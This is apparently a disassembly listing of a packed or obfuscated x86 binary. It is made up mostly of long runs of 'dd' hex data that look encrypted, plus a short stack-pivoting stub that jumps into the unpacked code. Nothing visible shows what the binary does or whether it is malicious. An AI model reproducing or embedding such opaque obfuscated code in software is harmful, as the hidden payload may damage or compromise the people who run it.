		dd 0BD98EF22h, 7FA223D8h, 0E4214EE9h, 0EF98C433h, 35B66B66h
		dd 0C467FD20h, 0CC0693DFh, 3D286C9Fh, 0EF996B8Ch, 0DA0FC466h
		dd 92BF40F5h, 0FBDC11E1h, 628F4464h, 0C037E825h, 776D03E3h
		dd 481E41C2h, 0E3B344F5h, 0D97C6D03h, 0DC2A782h, 6B8EA3D8h
		dd 14D3215h, 5C0D3A98h,	6B0ADCDAh, 6A95A055h, 0AC88175Fh
		dd 8F66AC7h, 0A2B70000h, 64F7287h, 0B1E3061Bh, 0DE7699AEh
		dd 770B2E43h, 0C9EBFD4h, 2C41E47Ch, 0C2D77209h,	5469F49Fh
		dd 0EB005B31h, 39BE6F1Ch, 0FE66EF6Dh, 3D53EE07h, 0FC92351Ah
		dd 0C8F02C59h, 88A44F23h, 0FCDC78A4h, 0C877C43h, 0EFAA768Bh
		dd 8505B6E3h, 0D06B0B32h, 0A5BBEE1Bh, 0FB1C0182h, 66F51300h
		dd 3188D71Ch, 0E8CD68FEh, 53C5B233h, 184600B6h,	25h, 0E3EFAAFFh
		dd 679905B6h, 1FD46B0Bh, 8B96BFF2h, 0F704250Ah,	2566F527h
		dd 9E7A83E0h, 0CF4600CFh, 0D6h,	1A3D53B6h, 5BFE9235h, 9ABDD376h
		dd 0D97C12B5h, 4CCB23C4h, 66996D04h, 130E4710h,	243A5DDEh
		dd 0E697D401h, 6D044B11h, 0DBF07126h, 0B1F472AEh, 0B294EA3Bh
		dd 353F601h, 578C416Dh,	7ADDB3D6h, 82504995h, 5472A455h
		dd 8BD6B0Ah, 73EEA8DBh,	371C0750h, 20EC0182h, 0F92C5979h
		dd 2DE2C762h, 0E5CE7FACh, 926505E6h, 0E57DB0DDh, 0C4002D42h
		dd 0A75824B6h, 6CE5B450h, 160632E7h, 0F0139400h, 0A63DC698h
		dd 3CB84A44h, 37995E0Fh, 0E99E6CE6h, 2A4CA9B4h,	0D1B68E06h
		dd 7C374h, 0B497EA00h, 46D97C9Fh, 0D9440E31h, 6AF5A1C4h
		dd 0FB5E3255h, 0A133C5E6h, 36596EC9h, 0CEF10621h, 62859A85h
		dd 4514290Ch, 6C10E798h, 302766EFh, 1C3F5317h, 0AB8EE407h
		dd 0EFAA8D96h, 9905B6E3h, 0D46B0B67h, 0E2193A1Fh, 3A66F527h
		dd 898F96F5h, 0D14600CFh, 51A65794h, 0E666F524h, 24679031h
		dd 2DD066F5h, 3FC0F568h, 0DF23h, 3D530A00h, 10F5682Ch
		dd 0BDF9265Bh, 0B2511CBCh, 4C31B2DCh, 787FD1A9h, 9F2FA1E0h
		dd 0A2C3A8DDh, 6D04394Ch, 0D6EB4E24h, 0C88CDDB3h, 0EF3B2055h
		dd 0C8FB28AAh, 0EA1798B3h, 0B36DD39h, 67FC2F6Bh, 36DC1BCCh
		dd 9E5366F5h, 8AE18469h, 35F97AAFh, 0FA9F6B80h,	876FABD8h
		dd 319F8E7Eh, 0CE7FAC2Dh, 650663CAh, 92CFFCB1h,	482D085Fh
		dd 9BEF1293h, 0D4C849C9h, 89BE9DA8h, 26395174h,	0E6408275h
		dd 0CBF8AD6Ch, 0E640DD1Ah, 689D526Ch, 631AE5Dh,	1E7B608Eh
		dd 6C0h, 9CB194EDh, 2C41DC79h, 0BFD44F09h, 5065F89Ch, 0DDF2552Dh
		dd 0C69A2ABCh, 542B4E63h, 9EB9DCF1h, 354B6E83h,	812EFD12h
		dd 0EF6B27D0h, 191066h,	0EF1C3F53h, 0DA8BA6BCh,	6D044E1Dh
		dd 43285D12h, 0D5F80D8Eh, 7E879CBFh, 351A3D53h,	2C59FC92h
		dd 40C15CF9h, 4E718A2Bh, 0DBBE6D04h, 0E619CAF7h, 0F86B10ADh
		dd 0A68BAEC5h, 0F7AC70F1h, 66C197CAh, 0D34E0639h, 441A3D52h
		dd 0BBD1A2F3h, 0D106BBA0h, 1D0237ECh, 0DD0AC8D1h, 0F6715E2Ch
		dd 35347064h, 0FD9DD8D0h, 664293BFh, 2D1827CBh,	2833E8ACh
		dd 8E03CBA1h, 15DF3C21h, 98000006h, 2E5166C1h, 0C4E7FC67h
		dd 577A8F92h, 0EC0F243Fh, 7B9CB194h, 280357E9h,	0C09BF013h
		dd 54CF88ABh, 0E3461C3Fh, 0A152FFCEh, 66EF6A56h, 53D1EAE1h
		dd 0BAED1A3Dh, 0E99E83A6h, 6F1A9EBDh, 3EBF7C71h, 85A0B659h
		dd 76155AA0h, 1B48E379h, 1BCA2DDEh, 0B0656D04h,	0EB2D1A2Fh
		dd 804C0FC3h, 7, 1939967h, 0D5000000h, 6D044E26h, 15429009h
		dd 10AD9664h, 0BFECA16Bh, 2653F68Ch, 0D7BC9FF3h, 698CA122h
		dd 7533813h, 62134092h,	64F67128h, 5B61832Fh, 70BD9EB0h
		dd 82C18B44h, 0EE236FE5h, 37A50E3h, 90EDD28Eh, 568h, 0F4092C45h
		dd 849984D1h, 172C3761h, 0A8BDA0F4h, 354AED85h,	9EF28214h
		dd 0EC83A6BBh, 46113449h, 0CDA3C6DBh, 0D986556Ah, 0EF69CF28h
		dd 58716866h, 9C5B0C49h, 936D044Dh, 4DC235E6h, 0B86D6D04h
		dd 7F555783h, 4820BEFCh, 6BCEA4C7h, 7B9DD986h, 66B122AEh
		dd 0DDB3D657h, 0A4F957Ah, 3D186E7Dh, 31DD3B28h,	78E4C0Fh
		dd 75000000h, 0DC99h, 0D490000h, 365E28C8h, 14E7FF2Bh
		dd 0C1D8A425h, 0D633E411h, 5D6B1017h, 997AFCB1h, 154AD2CAh
		dd 0BD6EABE8h, 66EFE63Ah, 7A1D40F5h, 2D4366E7h,	0B3E87B1Ch
		dd 20D4986h, 0A5348BF7h, 43E413B4h, 964B66F0h, 87DD0015h
		dd 2673BFA4h, 43F403B4h, 863B66F0h, 7F732451h, 4D64FC86h
		dd 78985F10h, 28406D03h, 0AF73280Dh, 0B579FAh, 6FCAA0D3h
		dd 1821375Ah, 0AEC2E540h, 0BCF1A68Bh, 63F72AD7h, 0AD2EE3C8h
		dd 0ED1AB8E1h, 0A71FA3Ch, 0C092356Bh, 97C3785Dh, 0B3907C09h
		dd 0F1FC3191h, 88171A7Ch, 5194F1D6h, 5C000004h,	0EA0D2205h
		dd 80A3B8ABh, 13364BD6h, 0A8CBE043h, 3F6075D0h,	0E4471BADh
		dd 74D7ACCFh, 81B3C5Fh,	9FBAD0F3h, 5D0EBB8Ah, 66EF679Ah
		dd 99859E95h, 11Bh, 0E3EFAA00h,	8B3C79B6h, 6D044E6Ch, 0EC8D0EC3h
		dd 6B10AE1Dh, 44DF76A9h, 1D4AFFC3h, 9CB194EAh, 6348E379h
		dd 23508217h, 0FBB08072h, 4314B764h, 0F502B3E0h, 3A6D040Eh
		dd 0F0235085h, 87AABF9Ah, 0F62956F1h, 0F1A3C661h, 0BC08ED6Eh
		dd 17C8F5DDh, 6B0B081Fh, 71D6E196h, 0B188170Ah,	3BA6FCCh
		dd 9EF30000h, 0D283A6BBh, 7D173A4Fh, 0EAAACDE2h, 2B3F6277h
		dd 48DAFB10h, 7085A0B8h, 0FE13364Dh, 90A5B8DBh,	1F34176Dh
		dd 5F2A350h, 2A66EF68h,	16491A33h, 5400E540h, 0B9575BB8h
		dd 0A12257F6h, 345FE87Eh, 5A8F4429h, 99BCD275h,	5A296EB4h
		dd 62954683h, 0CD6D0402h, 1E749718h, 0DFC73044h, 0F429C31Bh
		dd 60C394C7h, 0A3BED87Bh, 0A8D409BEh, 0F718398Dh, 0FF1495ECh
		dd 0F380612h, 39674Ch, 0AA4E0000h, 5B6E3EFh, 6B0B0193h
		dd 0BCF825DAh, 0DE960B07h, 0CEFB7CDEh, 2D085E91h, 0EF129348h
		dd 4A5BAA5h, 66F459F6h,	94A98CE2h, 573C2771h, 307FAh, 760A3D00h
		dd 534952D3h, 95381D00h, 24475CFFh, 6306EB4Eh, 0E8152A0Dh
		dd 195286ACh, 64E55367h, 0A4D10198h, 0A5E97F3h,	47F8356Bh
		dd 66F45EB0h, 8D51D287h, 0BD6EABD8h, 66F45F3Ah,	207F8D8Dh
		dd 8044FEC2h, 0B8654ACBh, 28053F7Bh, 48BEBE8Ch,	0F53250A7h
		dd 2F44E766h, 0B556D70Ch, 66F53246h, 2BF291D6h,	4600D5EDh
		dd 237Eh, 0EFAA6500h, 9905B6E3h, 0D46B0B67h, 0C4F96431h
		dd 283DBEDFh, 9ADF66F5h, 0CFE434CDh, 0C2894600h, 70000000h
		dd 351A3D53h, 2E5BFE92h, 4DB740F1h, 0CB806D04h,	0ACC2654Ah
		dd 6B01A489h, 0D41ABBD0h, 0AC6D044Ch, 3B5E73D6h, 0D11D0225h
		dd 2CDD0AC8h, 6B0B640Eh, 13DFF4A9h, 0EC1F4C86h,	19CEB396h
		dd 0E2C762F6h, 427FAC2Dh, 23A35405h, 0D78C66F5h, 0B7EEE6ABh
		dd 56D76C39h, 6BD5BB5h,	0F01DD265h, 0D98AA5BDh,	6CE55D1Eh
		dd 29416419h, 3F74290Eh, 0D873072Ah, 6CD6CCDh, 5CB99E8Eh
		dd 1FCh, 687DD8B1h, 0F80D1045h,	8BA083D5h, 1C312C68h, 0B1C661F9h
		dd 1A6EFE90h, 70072A3Fh, 0FA9DC0D5h, 592F5267h,	6D1AE9FEh
		dd 0EF663BBCh, 0E4FDF466h, 36253F53h, 0B716D7E2h, 0DA7D1336h
		dd 0F60B40F5h, 859ABDD3h, 0EBEFAA7Ch, 44DBD3Ah,	88BD726Dh
		dd 67F4AA5Bh, 9F4B6B0Bh, 0EB919508h, 5F447972h,	77DF76B2h
		dd 0DBBA5D46h, 1DFAFDAEh, 803566F5h, 1D9D5EFFh,	3A7F66F5h
		dd 0C544D42Dh, 0C3294600h, 10000000h, 351A3D53h, 765BFE92h
		dd 44C9955h, 3C1F756Dh,	29B6D30Fh, 1581F757h, 1F527F94h
		dd 0C85BFD76h, 99EF1293h, 0C8DD9BEh, 52E899C6h,	0E56B0A8Fh
		dd 4A4F1B30h, 11AA5B88h, 3D6505F1h, 0EED3760Ah,	48F4B839h
		dd 84B5E4AAh, 6332A7h, 366996CBh, 9EDA0722h, 0A360B6B9h
		dd 8B5CAA4Eh, 65D3AEDAh, 98BBD051h, 0E15A65C0h,	218E06C7h
		dd 106DF3Ch, 0D2A70000h, 163F6277h, 81D3F60Bh, 2E66899Eh
		dd 67FB1E33h, 0FC8EAFC4h, 1C31146Ch, 0B2C762F9h, 4459C48Fh
		dd 0DBF04B21h, 49AE5F0Ch, 0EE66EF65h, 3F53DEF7h, 18FD582Eh
		dd 5B402375h, 273C71A6h, 0EB0CBDFAh, 0E56D044Dh, 36EBAFB2h
		dd 59FC92B5h, 16493B44h, 4AFFE47Fh, 7DD0A6C9h, 44E2BCCh
		dd 2C4F046Dh, 0DDC2F76Ah, 0EC01243Ah, 26D182BFh, 116D044Eh
		dd 53A256Eh, 3E1B884h, 6B98CD50h, 109130BAh, 10C1FE6Bh
		dd 66EF6EE7h, 561A9B50h, 4479DCB3h, 83A6BC5Fh, 8F681956h
		dd 0A866EF6Eh, 3A5D72F3h, 0FB1C0124h, 615DC98Bh, 0A7244398h
		dd 3E6176D1h, 85280D28h, 0C6694ED1h, 0AAD928Dh,	7FEDD275h
		dd 73855D2Ah, 0BA619A97h, 0FC39B2E7h, 57CA8CBFh, 0A21D41B6h
		dd 0C041F660h, 22556CFBh, 0D06B0172h, 0D501B69Bh, 9B1656F7h
		dd 95B8398Bh, 24475CFFh, 0A906EB4Eh, 0Ch, 0E8C6B0ECh, 2C091851h
		dd 0CED7A2ABh, 361B3E53h, 755AFD93h, 0B99E81D2h, 1E64116h
		dd 4A2F0A5Eh, 9378D3A7h, 0D4B9A4F0h, 17FC6731h,	593E2174h
		dd 0C8668F7h, 0C890000h, 31996824h, 1C890000h, 66CA6824h
		dd 0C890000h, 94B85024h, 890614E0h, 24048BC3h, 4C481h
		dd 0EC810000h, 4, 83242489h, 59042404h,	8B850h,	0C8010000h
		dd 48B1889h, 4C48324h
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 0F7h, 62h, 59h
		dd 7FB8F326h, 30614EAh,	0BFE0FFC5h, 0FF1801DFh,	89679FE9h
		dd 0D4065D5Fh, 8F162DE0h, 614636BAh, 846D9BE7h,	679D038h
		dd 6446D643h, 0DE09EBEFh, 0E844863Bh, 0BB11DAFBh, 9A5DE04Ah
		dd 406C2410h, 0E8401D87h, 10h, 0A4E1CD10h, 0FBBF098Ah
		dd 5679D7F8h, 2D996040h, 58DBBF0Fh, 0D1D0C181h,	0C0815309h
		dd 5C10h, 6652D22Bh, 8B5BFA8Bh,	66B91034h, 812E531Dh, 0E92230F6h
		dd 0E7816670h, 0F68114B9h, 53B308C1h, 0C681DE8Ah, 312D60BCh
		dd 34898AB3h, 22870F10h, 0E8000000h, 0Fh, 0EBA4F09Dh, 4F14DC55h
		dd 7AA82F88h, 0E88753EBh, 7, 0C78155CEh, 5B4815FEh, 81FA8B5Fh
		dd 27F31FEAh, 0CEBF0F04h, 0F31BC281h, 10E90427h, 56000000h
		dd 9C471DC2h, 815893C7h, 1A263EECh, 8111191Eh, 0FFA498FAh
		dd 80850FFFh, 66FFFFFFh, 0ED55DF81h, 0EC838D8Dh, 0BD890614h
		dd 60F175Dh, 2C658D89h,	0BF0F060Fh, 0C185C7F9h,	0D8060F07h
		dd 6A00005Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 9071C353h, 618821D2h, 5AFC9F4Fh
		dd 249185C7h, 60Fh, 0FFFC0000h,	0F128DB5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 95FFF316h, 60F2A05h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 34C35747h, 7644A220h,	6A7891h, 345195FFh
		dd 0C08B060Fh, 7F0E2FEBh, 0DAD63271h, 9D360034h, 1572D9E4h
		dd 5804B534h, 334AA798h, 6046A30Bh, 169F296Fh, 0D517BA77h
		dd 0CD9E0871h, 0A5A3408Fh, 0EAF33E03h, 0BFE9E9h, 1BE50000h
		dd 944F69h, 50000h, 10000h, 0A280000h, 20000h, 2Ah dup(0)
		dd 0B7AE900h, 2B680000h, 0E90614EFh, 0FFFA9132h, 14F03268h
		dd 9128E906h, 4068FFFAh, 0E90614F1h, 0FFFA911Eh, 14F1C868h
		dd 9114E906h, 0C768FFFAh, 0E90614F2h, 0FFFA910Ah, 14F33668h
		dd 9100E906h, 4B68FFFAh, 0E90614F6h, 0FFFA90F6h, 14F75768h
		dd 90ECE906h, 4E23FFFAh, 0E2B3D6EBh, 0D476A7Fh,	0BADAFD12h
		dd 1B6F92A7h, 780A2B40h, 0A0B590E8h, 2E43E67Dh,	0C0D5480Bh
		dd 4F64C79Dh, 0D522D380h, 5A66EF60h, 3D534A63h,	0FC92351Ah
		dd 21784459h, 0B7D384B1h, 7E6B0B55h, 0C3A8BBDBh, 0B7EC7720h
		dd 7F7C9D82h, 9D66F536h, 26F20B58h, 474600D9h, 45h, 0E3EFAA2Eh
		dd 0F4679B6h, 832F14h, 885911EEh, 9435B6EBh, 6B0B020Ah
		dd 0F007B865h, 0E866F50Dh, 1ED3B893h, 8B70A55Ah, 0F50D916Ah
		dd 39468B66h, 0B538E0h,	1143546h, 0BBF80000h, 0F501ED0Ah
		dd 0C8D4266h, 1A3D5303h, 5BFE9235h, 5B8DC976h, 0AE5DE248h
		dd 31476AEBh, 0B8ABEB1Eh, 7A7D1ED3h, 0B56D0411h, 0A386DD00h
		dd 9FDC896Eh, 41109EEh,	0F48B2E6Dh, 82B76C51h, 0AD88DE01h
		dd 8DFF4480h, 3128B38Eh, 7AFA9BB0h, 486D03C3h, 0FADF4215h
		dd 0CBA1C445h, 22385B70h, 38752207h, 3CB7087h, 9112C76Dh
		dd 0D1FED4C5h, 8DBA0095h, 0E1622FE2h, 0C71303B4h, 0B4F16B0Ah
		dd 0F4C6F403h, 5863B66h, 75F79E41h, 0EBDBA352h,	4F346946h
		dd 538659Ah, 384DCE51h,	9EB72D6Ch, 0EE214E83h, 24D9BE99h
		dd 0EEC576A3h, 0A965063Ch, 0FC94C7F4h, 49214459h, 2276E3EEh
		dd 0CFB48E06h, 90072h, 50EB7E00h, 0E27D183Bh, 75E8AACDh
		dd 6193D60h, 9FBACEF1h,	45D7698Ah, 0D2F50A2Dh, 62859ABDh
		dd 0F6192E31h, 0E1B0C560h, 5F748334h, 0C4BB66EFh, 1C3F53ABh
		dd 0AB8EE407h, 450E417Eh, 9F40F5DAh, 6D044E58h,	94A92ADFh
		dd 54722B67h, 8033983Bh, 0EFAAF6FFh, 9905B6E3h,	0D46B0B67h
		dd 15FA6531h, 5A3F2272h, 563B70A5h, 0F527C635h,	72115666h
		dd 0CF6DABh, 0DDFE46h, 49E50000h, 0FDE27D16h, 0CEA4C748h
		dd 9144073h, 44D8F68h, 3CFD406Dh, 51A8B398h, 0BEA3D88Dh
		dd 0FFE4471Bh, 38AD1652h, 0ABD2D934h, 22EB892Ah, 0A5BB6D04h
		dd 265BFE94h, 0BD98EE11h, 0C50D8CD8h, 222FE798h, 609D6B0Bh
		dd 0F52248AFh, 0B93AEF66h, 5F2B40F5h, 386B983Ah, 76220722h
		dd 487220ABh, 7CA9DE80h, 0F4642CCBh, 0CD4E0366h, 0F7A9EFA0h
		dd 0DB906505h, 44E77BAEh, 0D9740C2Fh, 0E607CF28h, 7EB3686Ch
		dd 66FD873h, 0F8553A8Eh, 7F9h, 3449EC85h, 0C4D94411h, 576CF7A1h
		dd 0E8FD6034h, 758AADC5h, 5E32C254h, 0ACC3E6FBh, 6517489h
		dd 8DE3061Bh, 19C695AAh, 0EF5D8F68h, 98B1A866h,	0E27D1649h
		dd 0A4C748FDh, 315469CCh, 0BEEB005Bh, 0AF60CB8Bh, 6D044E48h
		dd 20053AEFh, 49E1EA6Bh, 62E37E16h, 290E293Fh, 4055F086h
		dd 80AD2574h, 10A1ECCFh, 0ED9E4B6Bh, 66EF620Ah,	4FD28225h
		dd 4B80B56Ah, 0B295EB1Eh, 1E015285h, 0A0E7889Dh, 8F66EF61h
		dd 0DA1DCE0Ch, 5566EF61h, 13E6BA0h, 0EF61A750h,	0F9643166h
		dd 0E69B5F14h, 52615065h, 17114275h, 6BBE9E17h,	63E41945h
		dd 0A3D00297h, 0F66BFCF2h, 517E3364h, 0A1CB0C15h, 0F42105A3h
		dd 0E8F3B443h, 45C67B6Ch, 5ECCEE8Fh, 3663FEB1h,	0DCBE6F9Ch
		dd 9BD737B4h, 0A4C762F8h, 563B70F3h, 16438F0Ah,	2DAEB1E3h
		dd 0BA894F00h, 3BF0D539h, 0A285DB0Eh, 70873875h, 0C7D9355Bh
		dd 597C9112h, 0A81D2803h, 0DA1DD6DAh, 6EB98F5h,	0FE930000h
		dd 7223465Bh, 9DB7DAEFh, 0A4A6D82h, 8BDF0217h, 0E87A9BB0h
		dd 10250058h, 9EB396EDh, 3045D87Bh, 0BFD4770Dh,	659243F0h
		dd 0CA66EF5Dh, 0EFAABAD3h, 0B605B6E3h, 16B10A1h, 91661754h
		dd 0A666EF61h, 61A750F1h, 0E49066EFh, 79CB4444h, 95CAFF26h
		dd 7D7A2B68h, 0B266EFC1h, 0A285DAFDh, 94C1F421h, 4517489h
		dd 0FEAFEC19h, 66EFC0F9h, 0A2F77BD6h, 0FCC06E0Ah, 3EE1C647h
		dd 0B5020D28h, 0B5880C64h, 66373D0h, 461B0000h,	0EAABCEE3h
		dd 153F6277h, 82D2F50Ah, 13678A9Fh, 70022338h, 98AD88E0h
		dd 263B1E75h, 0B8CD5003h, 475CFF95h, 0DD1ACB78h, 5266EF5Ch
		dd 0EFAA425Bh, 4679B6E3h, 792E130Eh, 0A16457F8h, 1ED36B10h
		dd 8DA8BEF1h, 0E3EFAC78h, 620605B6h, 0AE5166EFh, 0F4977CE7h
		dd 1FD4B99Ch, 0AFD0B5EAh, 66EF624Bh, 24FD8ACFh,	45FB05F4h
		dd 3079h, 0F1AA6000h, 3B4E1h, 376D044Eh, 7F7C9D82h, 9D6D044Eh
		dd 26F20B58h, 474C0FF1h, 11h, 5B0C492Eh, 6D044D9Ch, 805DDE93h
		dd 1AFh, 822E87E7h, 9689CD17h, 4E3FB869h, 43F86D04h, 71A4E10Eh
		dd 18B93A25h, 6B0B69D6h, 5A65C11h, 0BC9FBD50h, 0B6CA1A7Fh
		dd 750BAE93h, 3B689DD2h, 65D7108Ah, 0CDB267C1h,	8DBA1881h
		dd 6B94FCDCh, 517E33BBh, 0C7F6481Eh, 68274EA7h,	0B8DBF025h
		dd 61FC99A2h, 0EB48212Ch, 0E5CA27A0h, 56488h, 0E4471A00h
		dd 76E9ACCFh, 9143E61h,	9A85D1F4h, 2B0E6285h, 0D163F516h
		dd 66899EB9h, 0FE213611h, 92B5CA55h, 754459FCh,	5BE017C8h
		dd 605766EFh, 1A3D5347h, 9A4B8835h, 6D044E5Dh, 0D09C1DD2h
		dd 2BDC09C9h, 6B0B6BD3h, 9B86CE01h, 3DAA561Ah, 0D4770D69h
		dd 9FD71DA8h, 77949673h, 184D46CFh, 0AF8AE003h,	17C5C3A4h
		dd 15E4388h, 4F5h, 4055F089h, 0D0E5781Dh, 6378EBADh, 0F4091440h
		dd 899EB9D1h, 3246D668h, 88DF0217h, 227598ADh, 71072A3Fh
		dd 45F2C1D6h, 0EF5B6394h, 0BCD5CC66h, 0FA233D53h, 66993D0h
		dd 609DCAFFh, 3A748AFh,	0AC43EF6Dh, 0DB246573h,	797FABE0h
		dd 9C54A0FCh, 0E98C71F2h, 8DD3B893h, 0D6AC3B48h, 0A7715E73h
		dd 0B34C0FC0h, 0C94AD580h, 28ADh, 0EFAA9400h, 1D05B6E3h
		dd 586B0B63h, 20FDFAABh, 7D3266F5h, 0B9426348h,	6366F520h
		dd 60B8411Eh, 0D4600C8h, 4Bh, 0E3EFAAF4h, 19305B6h, 37DA6B0Bh
		dd 681D021Dh, 82D30633h, 997ED9B1h, 97DB8E4h, 0B243F428h
		dd 33C7687Dh, 0A366F4B5h, 41E47CCDh, 0F9FEAF5Ch, 3E66F4B4h
		dd 0F21F5489h, 0DDDB36B6h, 3CBD7897h, 0CE510427h, 4178CE9h
		dd 0AAF30000h, 5B6E3EFh, 6B0B6C91h, 9F4227DCh, 1B896EC9h
		dd 1881B9C6h, 14508DBAh, 15B45219h, 11C2EFEDh, 66F48BE6h
		dd 7A1B9C51h, 64FBAB1Ch, 3E719E53h, 92651629h, 9D6D036Ch
		dd 1D32B3E8h, 94C164FAh, 8C3F8158h, 0C15895C5h,	1C174355h
		dd 563BBCB8h, 16438F0Ah, 87AA8DE3h, 0B86D52CDh,	0A5590A37h
		dd 0A06B0B21h, 0D00D06EBh, 7E63C69Dh, 0C0A5B8DBh, 9055D60Bh
		dd 0BB9EF4F3h, 13BFDAA6h, 24F535E6h, 8B4064FCh,	8770215Eh
		dd 0B06D0422h, 0F2957AFBh, 598CB99Ch, 0BBA0213Ch, 0A89EEDC2h
		dd 3B4E1F1h, 6B0B1A27h,	978ACB6Eh, 542A4D62h, 0ED7026FAh
		dd 98CD4E47h, 0DD7810B3h, 56358AF8h, 3B68C399h,	2FE07308h
		dd 66F4A0C8h, 485BA6Fh,	0C48FC2EFh, 8D0CD859h, 97671845h
		dd 0AE64FBABh, 1B7114F9h, 0A2B85B40h, 6BFFA287h, 1DF2EBD0h
		dd 0B9F66F4Eh, 942CCB7Ch, 4E036D03h, 0C37B08CDh, 0D9440ED6h
		dd 38C677A4h, 0F6B0A9Fh, 4C22455Ah, 0B6104E9h, 4A4F1B30h
		dd 50285B88h, 0DA5B10F5h, 343470ADh, 0CB6E044Ah, 982D069Fh
		dd 0AD2E63FEh, 0FBD37E0Ch, 1F04B964h, 0E293F72h, 0B40FEC8Dh
		dd 600D6D03h, 0B3857223h, 0F5AA6D03h, 49D0AF74h, 4C0F57CFh
		dd 213C588Bh, 4684A0h, 496B0000h, 60E17C16h, 0A0CD0594h
		dd 0B67AFEFh, 28D9866Bh, 66F527CFh, 0C590B368h,	8BC0755Ah
		dd 8770215Eh, 0B066F527h, 74957AFBh, 66F52787h,	0AA335095h
		dd 283BBC6Dh, 3FF466F5h, 0CF47D1BEh, 0D9244600h, 0B000000h
		dd 351A3D53h, 765BFE92h, 8EA3BDD3h, 0AEC03F81h,	93361B50h
		dd 0A4455AFDh, 6D043ED0h, 0F289D2A8h, 0E00D2257h, 4605F2A3h
		dd 752A6D04h, 0A9BBD1F4h, 2BE72F5Eh, 0CFB4E93Ah, 8FBC1683h
		dd 93641552h, 3D6D03B6h, 8A3F0326h, 0CFD26809h,	0C2656B0Ah
		dd 0F8A489ACh, 9C9D2772h, 0C6F328CAh, 0F52CE215h, 63984D66h
		dd 0BB17824Eh, 0DD33DD8Eh, 752A6506h, 0DA7D1548h, 0AA5B98C5h
		dd 6CE5BD4Dh, 89AC2DE2h, 0B5ED5FF1h, 51A6B324h,	2D6C111Ch
		dd 0C1A68E06h, 1E064h, 70CB9E00h, 21D385Bh, 9588CAEDh
		dd 26395D80h, 0BF9AEE11h, 65F789AAh, 0F2152A0Dh, 82A5BA9Dh
		dd 16394ED1h, 1D0E540h,	5854A354h, 0E4DB66EFh, 1C3F53CBh
		dd 0F601B2EFh, 416D044Dh, 0D3F60B8Ch, 7C859ABDh, 0B6E3EFAAh
		dd 4E2FC879h, 53086D04h, 0AAF4A5D2h, 856B0B67h,	31CAEBD0h
		dd 0EB66F528h, 0D74A0B3Eh, 1E394FF2h, 0C4A368E9h, 0CFDB3Dh
		dd 364C7F46h, 0CE769213h, 39000000h, 0EFD44F06h, 53B0B93Ah
		dd 92351A3Dh, 933064FEh, 8B877DDFh, 24507156h, 0F46D041Bh
		dd 988BCD9Eh, 0B4C9FEB3h, 7B60FB91h, 3B686A2Fh,	22AA4DFEh
		dd 6B1C6D04h, 6D04228Ch, 752AEEA3h, 2416C7F4h, 2A6B0B3Ch
		dd 80D760F7h, 0D68B70A5h, 0C7DC9155h, 7349EFBh,	6DF6556h
		dd 22366965h, 0EC6D2207h, 13467328h, 40F5DA7Dh,	195592BFh
		dd 0FFB01324h, 6CE595F8h, 375E8A3Fh, 3154D51Fh,	0D9441059h
		dd 146C8FA4h, 0BC512631h, 0CCB18E06h, 0D46Fh, 74D7AA00h
		dd 6193C5Fh, 9984CEF1h,	2A356184h, 0BB9EF215h, 61F385A6h
		dd 0F6192E09h, 8EB1C661h, 22455AC5h, 5D4E94Ch, 5750A758h
		dd 0F0E766EFh, 1C3F53D7h, 0BD8EE407h, 3D52879Ah, 1A3D5334h
		dd 0CCD8B1EDh, 2DE657B5h, 4E24C7ACh, 8F0AD6EBh,	4A651643h
		dd 56B1022h, 0F82D3062h, 3F1A7013h, 0D671072Ah,	0FF0844F1h
		dd 5DF88F17h, 5497C378h, 0D273F498h, 1E6598D7h,	4318193Dh
		dd 194E03E8h, 5AC59134h, 9DEA2F75h, 0BA16D345h,	75AA26ECh
		dd 96553287h, 44DF77C0h, 81D7FA0Fh, 761EC1A6h, 380D06EBh
		dd 63C69C2Bh, 0FA552B4Eh, 0F798B3C7h, 1D9ACA00h, 684D8237h
		dd 180Bh, 0AAD77200h, 84D1B46Eh, 0B4694ED1h, 9C8D1188h
		dd 72FCDB51h, 0DE5F942Bh, 1B3E53D5h, 5AFD9336h,	9E81D275h
		dd 0E64116B9h, 2F0A5E01h, 78D3A74Ah, 0B9A4F093h, 0FC6731D4h
		dd 3E217417h, 8956F759h, 4C681E6h, 51000000h, 4B9h, 59CE2900h
		dd 5C243487h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
		dd 8951243Ch, 4C181E1h,	83000000h, 0C8704E9h, 34895C24h
		dd 13BA5224h, 0F7065B73h, 68DAh, 14290000h, 0CA815A24h
		dd 50581BC7h, 1347F281h, 0EA817150h, 20F67AC0h,	685AD789h
		dd 3E86h, 83242489h, 5E042404h,	482768h, 24048900h, 8B8h
		dd 89F00100h, 34FF5838h, 0C4815E24h, 4,	5F2434FFh, 4C481h
		dd 0CFE90000h, 56FFFA85h, 0DE235919h, 652F1BEDh, 5C81280Eh
		dd 14F850B8h, 0FFC50306h, 1B84CEE0h, 6F4FAC62h,	5A67DA58h
		dd 36C54268h, 54942B13h, 1C964C71h, 0A177EA1Dh,	0F6DB6C02h
		dd 0D9F20F5Fh, 0A35E5874h, 0FC7C3D1Eh, 0ACD1016Fh, 4951CD50h
		dd 0D548C842h, 5845D44Ah, 61C9FC7Fh, 4414B97Ah,	0BA915554h
		dd 2C4A5254h, 31E90619h, 24EB08h, 8 dup(0)
		dd 0E9000000h, 0BDh, 0F955B589h, 858B0614h, 60F21ADh, 2AA9858Bh
		dd 0B58D060Fh, 614F99Fh, 4A30858Dh, 0D0FF0612h,	0E855C3h
		dd 5D000000h, 0F9A5ED81h, 0BD830614h, 60F21ADh,	2C850F01h
		dd 0FF000000h, 14F955B5h, 0A9858B06h, 35060F2Ah, 34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 59B58D1Ch, 560614F9h, 0F955B5FFh,	858B0614h
		dd 60F2AA9h, 81273635h,	83D0FF34h, 0B58D0CC4h, 614F959h
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
